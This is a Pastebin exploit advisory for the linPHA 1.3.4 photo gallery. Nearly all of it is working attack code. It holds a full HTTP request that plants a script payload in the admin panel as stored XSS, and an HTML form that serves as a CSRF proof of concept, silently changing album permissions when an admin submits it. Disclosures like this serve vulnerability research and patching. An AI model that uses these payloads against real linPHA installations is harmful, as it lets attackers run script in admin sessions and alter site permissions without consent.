Advertisement
AndrewHaxalot

linPHA 1.3.4 - Permanent XSS and CSRF

Jan 31st, 2014
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.54 KB | None | 0 0
  1. # Exploit Title: linPHA 1.3.4 - Permanent XSS and CSRF
  2. # Date: 28/01/2014
  3. # Exploit Author: killall-9@mail.com
  4. # Vendor Homepage: http://sourceforge.net/projects/linpha/
  5. # Software Link: http://sourceforge.net/projects/linpha/files/latest/download
  6. # Version: 1.3.4
  7. # Tested on: Virtualbox (debian) and Apache
  8.  
  9. ===[ Exploit ]===
  10.  
  11. 1) Permanent XSS=>
  12. .....
  13. POST /linpha-1.3.4/actions/submit_mod_data.php HTTP/1.1
  14. Host: localhost
  15. User-Agent: Mozilla/5.0 (X11; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0
  16. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  17. Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
  18. Accept-Encoding: gzip, deflate
  19. Referer: http://localhost/linpha-1.3.4/admin.php?page=mysettings
  20. Cookie: PHPSESSID=bbdjarqpmknfpubtnc29rgodu0
  21. Connection: keep-alive
  22. Content-Type: application/x-www-form-urlencoded
  23. Content-Length: 153
  24.  
  25. friend_user_name=admin&friend_full_name=%3Cscript%3Ealert%28%22xss+here%22%29%3B%3C%2Fscript%3E&friend_user_mail=admin%40gmail.com&id=1&action=frienduser
  26. .....
  27.  
  28.  
  29. 2) CSRF (poc)=>
  30. .....
  31. <html>
  32. <head>
  33. <title>Pinata-CSRF-Tool</title>
  34. </head>
  35. <body>
  36. <form action="http://localhost/linpha-1.3.4/admin.php?page=perms&edit=basket_mail&redirector=general" id="formid" method="post">
  37. <input name="who" value="2" />
  38. <input name="and_or" value="0" />
  39. <input name="alb" value="0" />
  40. <input name="change_permissions" value="true" />
  41. <input type="submit" value="Invia"/>
  42. </form>
  43. </body>
  44. </html>
  45. .....
  46.  
  47. These vulnerabilities was found in the administration panel.
  48. cheerZ.:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement